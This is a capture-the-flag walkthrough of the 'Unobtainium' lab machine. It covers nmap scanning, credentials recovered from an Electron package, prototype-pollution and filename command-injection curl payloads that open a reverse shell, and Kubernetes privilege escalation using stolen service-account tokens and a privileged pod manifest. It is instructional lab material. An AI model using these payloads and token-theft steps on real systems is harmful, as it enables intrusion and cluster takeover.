In this post, i would like to share a walkthrough of the Unobtainium Machine.
This room has been considered difficulty rated as a Hard machine
- Summary of the Unobtainium machine
- Information Gathering
- Enumerate and analyze the website
- Analyze the source code
- Proto Pollution on Unobtainium Machine
- Obtaining the shell on the machine
- Escalate to Root Privileges Access on Unobtanium machine
- Enumerate using kubectl tool
- Exploiting using the kubect
- The End
Summary of the Unobtainium machine
Before we start playing the machine, you need some knowledge of Kubernetes tools that we will use on this machine later. The article that i read before playing the machine can be found below:
- Interactive Tutorial – Creating a Cluster | Kubernetes
- Deep Dive into Real-World Kubernetes Threats – NCC Group Research
- GitHub – BishopFox/badPods: A collection of manifests that will create pods with elevated privileges.
During my time playing with the machine, i have some help from people around the world to root the machine.
Big shoutout to those names below:
- @cre4k
- @JD2111
- @jabbascript
- @0xb55a9
- @Lich
- @PinkGremlin
- @cY83rR0H1t
Information Gathering
Once we have started the VPN connection, we can start the information gathering on the machine by executing the command nmap -sC -sV <IP Address> -PN
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-11 06:34 EDT
Nmap scan report for 10.10.10.235
Host is up (0.26s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e4:bf:68:42:e5:74:4b:06:58:78:bd:ed:1e:6a:df:66 (RSA)
| 256 bd:88:a1:d9:19:a0:12:35:ca:d3:fa:63:76:48:dc:65 (ECDSA)
|_ 256 cf:c4:19:25:19:fa:6e:2e:b7:a4:aa:7d:c3:f1:3d:9b (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
8443/tcp open ssl/https-alt
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
| Date: Sun, 11 Apr 2021 10:45:56 GMT
| Content-Length: 212
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
| Date: Sun, 11 Apr 2021 10:45:53 GMT
| Content-Length: 185
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
| HTTPOptions:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
| Date: Sun, 11 Apr 2021 10:45:54 GMT
| Content-Length: 189
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.10.235, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2021-04-09T19:11:43
|_Not valid after: 2022-04-10T19:11:43
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
31337/tcp open http Node.js Express framework
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.91%T=SSL%I=7%D=4/11%Time=6072D0DB%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,1FF,"HTTP/1\.0\x20403\x20Forbidden\r\nCache-Control:\x20
SF:no-cache,\x20private\r\nContent-Type:\x20application/json\r\nX-Content-
SF:Type-Options:\x20nosniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x203082aa7f
SF:-e4b1-444a-a726-829587cd9e39\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x20c
SF:4131e14-5fda-4a46-8349-09ccbed9efdd\r\nDate:\x20Sun,\x2011\x20Apr\x2020
SF:21\x2010:45:53\x20GMT\r\nContent-Length:\x20185\r\n\r\n{\"kind\":\"Stat
SF:us\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Failure\",\"mes
SF:sage\":\"forbidden:\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20ge
SF:t\x20path\x20\\\"/\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code
SF:\":403}\n")%r(HTTPOptions,203,"HTTP/1\.0\x20403\x20Forbidden\r\nCache-C
SF:ontrol:\x20no-cache,\x20private\r\nContent-Type:\x20application/json\r\
SF:nX-Content-Type-Options:\x20nosniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\
SF:x203082aa7f-e4b1-444a-a726-829587cd9e39\r\nX-Kubernetes-Pf-Priorityleve
SF:l-Uid:\x20c4131e14-5fda-4a46-8349-09ccbed9efdd\r\nDate:\x20Sun,\x2011\x
SF:20Apr\x202021\x2010:45:54\x20GMT\r\nContent-Length:\x20189\r\n\r\n{\"ki
SF:nd\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Fail
SF:ure\",\"message\":\"forbidden:\x20User\x20\\\"system:anonymous\\\"\x20c
SF:annot\x20options\x20path\x20\\\"/\\\"\",\"reason\":\"Forbidden\",\"deta
SF:ils\":{},\"code\":403}\n")%r(FourOhFourRequest,21A,"HTTP/1\.0\x20403\x2
SF:0Forbidden\r\nCache-Control:\x20no-cache,\x20private\r\nContent-Type:\x
SF:20application/json\r\nX-Content-Type-Options:\x20nosniff\r\nX-Kubernete
SF:s-Pf-Flowschema-Uid:\x203082aa7f-e4b1-444a-a726-829587cd9e39\r\nX-Kuber
SF:netes-Pf-Prioritylevel-Uid:\x20c4131e14-5fda-4a46-8349-09ccbed9efdd\r\n
SF:Date:\x20Sun,\x2011\x20Apr\x202021\x2010:45:56\x20GMT\r\nContent-Length
SF::\x20212\r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\"
SF::{},\"status\":\"Failure\",\"message\":\"forbidden:\x20User\x20\\\"syst
SF:em:anonymous\\\"\x20cannot\x20get\x20path\x20\\\"/nice\x20ports,/Trinit
SF:y\.txt\.bak\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}
SF:\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 166.25 seconds
Let’s open the browser and straight into the website interface.
Enumerate and analyze the website
We need to download the repo on our machine which contains the username and password.
Once you have downloaded the .deb .rpm and .snap, you will need to investigate the folder and file carefully.
Analyze the source code
There are a lot of ways to get this username and password one of the methods is to unpack the package using npx asar extract unobtainium_1.0.0_amd64/opt/unobtainium/resources/app.asar tmp
However, i use a different approach to get the username and password which just use strings parameters which the command strings /unobtainium_1.0.0_amd64/opt/unobtainium/resources/app.asar | grep password
We managed to get the username(felamos) and password (Winter2021) as shown above
Based on my experience, there should have at least an upload directory on the website, but it depends on the developer too. When i try to open the URL unobtainium.htb:31337/upload, i notice there’s an error saying “Cannot GET /upload”
There are two ways to work around this which throughout Burpsuite or Curl
In my case, i choose the Curl command because it is easier for me.
Proto Pollution on Unobtainium Machine
You will have to run the following command such as below to get the reverse shell back to us:
curl -X PUT -H 'Content-Type: application/json' http://unobtainium.htb:31337/upload --data '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"proto":{"canUpload":true}'
curl --header "Content-Type: application/json" --request POST http://unobtainium.htb:31337/upload --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "& echo <base64 string>=|base64 -d|bash"}'
For the second curl command above, you might need to execute multiple times, but you will be able to get the shell back.
Obtaining the shell on the machine
Before running the second curl command, you will need to start the nc listener so that we can get the reverse shell connection back to us.
To get the user flag, you will need to access it from /root/ directory and cat user.txt to read what’s saved inside.
Escalate to Root Privileges Access on Unobtanium machine
Now, it comes to the hard part of the machine which i take around 3 days to fully understand the method.
You will require to install the Kubernetes-client tool into your Kali Linux Machine. We need to transfer the kubectl which normally locate at /usr/bin/ into our victim’s machine
Enumerate using kubectl tool
We need to use the python server on the attacker’s machine while wget http://<IP><PORT>/kubectl on the victim’s machine.
The kubectl can be found in /usr/bin directory on your attacker’s machine.
Once you managed to download it on your victim’s machine, you need to give permission to the file by executing the command chmod +x kubectl
For us to get the root flag, we need to enumerate a deeper
You will need to get the namespace of the container by executing the command ./kubectl get namespace
On the machine, we will be using only dev and kube-system
We managed to get three pods on the container by executing the command ./kubectl get pods -n dev
Exploiting using the kubect
After understanding the container, we can get the details on other devnode by running ./kubectl describe pod devnode-deployment-cd86fb5c-{anyid}
From the enumeration, i found that there’s an IP and port that we can escalate into that other pod.
We need to run the similar curl command just below
curl -X PUT -H 'Content-Type: application/json' http://<IP Address>:<PORT> --data '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"proto":{"canUpload":true}'
curl --header "Content-Type: application/json" --request POST http://<IP Address>:<PORT> --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "& echo <base64 string>=|base64 -d|bash"}'
For the second curl command above, you might need to execute multiple times, but you will be able to get the shell back.
We got access to another container as shown above.
We can see the authentication that has been configured on another container by running the command ./kubectl –token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) –certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt auth can-i –list –namespace=kube-system
As a result, we can see what kind of permission is given within the container. For me, i would like to use secrets from c-admin-token-tfmp2 by executing the command kubectl –token <second container token> -n kube-system get secrets
We can get the c-admin-token-tfmp2 token by running the command ./kubectl –token <second container token> -n kube-system describe secrets c-admin-token-tfmp2
On your attacker’s machine, you need to create the pod.yaml(you can put any name such as abc.yaml) as shown above or you can take the code from GitHub – BishopFox/badPods: A collection of manifests that will create pods with elevated privileges.
Besides that, we should be given permission to <anyname>.yaml such as chmod +x <anyname>.yaml
To get again reverse shell back, we need to execute those command ./kubetl apply -f ./pod.yaml –token <c-admin2-token-tfmp2)
We should be able to get back the reverse shell connection back to us. However, you need to get the root flag because the connection will be disabled by itself.
We managed to get root privileges.
As usual, we can get the root flag by accessing the /root/ directory and read the flag by running the command “cat root.txt”
The End
Happy Learning Guys!
No responses yet